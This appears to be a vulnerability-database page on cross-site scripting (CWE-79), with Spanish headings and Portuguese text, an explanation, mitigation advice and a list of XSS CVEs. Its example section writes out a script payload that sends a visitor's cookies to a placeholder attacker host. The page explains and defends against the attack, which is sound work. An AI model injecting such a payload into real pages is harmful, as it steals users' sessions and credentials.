Fallos del tipo CWE-79

29.611 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-6378MEDIUMMaxi Blocks <= 2.1.9 - Authenticated (Author+) Stored Cross-Site Scripting via Style Card REST APIEPSS 0.4%CVE-2026-5742MEDIUMUsersWP <= 1.2.60 - Authenticated (Subscriber+) Stored Cross-Site Scripting via User Badge Link SubstitutionEPSS 0.4%CVE-2026-8599MEDIUMMailerPress <= 2.0.4 - Authenticated (Author+) Stored Cross-Site Scripting via Campaign HTML Content FieldEPSS 0.4%CVE-2022-44736MEDIUMWordPress Chameleon plugin <= 1.4.3 - Auth. Stored Cross-Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-11493MEDIUM115cms pageAE.html cross site scriptingEPSS 0.4%CVE-2023-47653MEDIUMWordPress TWB Woocommerce Reviews Plugin <= 1.7.5 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2026-88852HIGHJoomla Extension - regularlabs.com - Privileged stored XSS via url option in Snippets Free extension for Joomla < 7.0.0, Snippets Pro extension for Joomla < 11.0.0EPSS 0.4%CVE-2024-8363MEDIUMShare This Image <= 2.02 - Authenticated (Contributor+) Stored Cross-Site Scripting via STI Buttons ShortcodeEPSS 0.4%CVE-2025-6382MEDIUMTaeggie Feed <= 0.1.10 - Authenticated (Contributor+) Stored Cross-Site Scripting via name AttributeEPSS 0.4%CVE-2023-43797MEDIUMBigBlueButton Stored Cross-site Scripting vulnerability at Guest LobbyEPSS 0.4%CVE-2024-8142MEDIUMSourceCodester Daily Calories Monitoring Tool delete-calorie.php cross site scriptingEPSS 0.4%CVE-2022-45538MEDIUMEyouCMS <= 1.6.0 was discovered a reflected-XSS in the article publish component in cookie "ENV_GOBACK_URL".EPSS 0.4%CVE-2023-45755MEDIUMWordPress BuddyPress Global Search Plugin <= 1.2.1 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2025-64325HIGHEmby Server is Vulnerable to Remote Code Execution Through XSS in Admin DashboardEPSS 0.4%CVE-2026-76178CRITICALMultiple vulnerabilities in Ocsreports for OCS Inventory NGEPSS 0.4%CVE-2026-95682MEDIUMMISP Stored Cross-Site Scripting via Unescaped Organization Name in Admin Email ViewEPSS 0.4%CVE-2024-39610MEDIUMCross-site scripting vulnerability exists in FitNesse releases prior to 20241026. If this vulnerability is exploited, an arbitrary script maEPSS 0.4%CVE-2026-42321HIGHGLPI has stored XSS in asset locksEPSS 0.4%CVE-2024-35432MEDIUMZKTeco ZKBio CVSecurity 6.1.1 is vulnerable to Cross Site Scripting (XSS) via an Audio File. An authenticated user can injection malicious JEPSS 0.4%CVE-2024-29770HIGHWordPress Pretty Links plugin <= 3.6.2 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%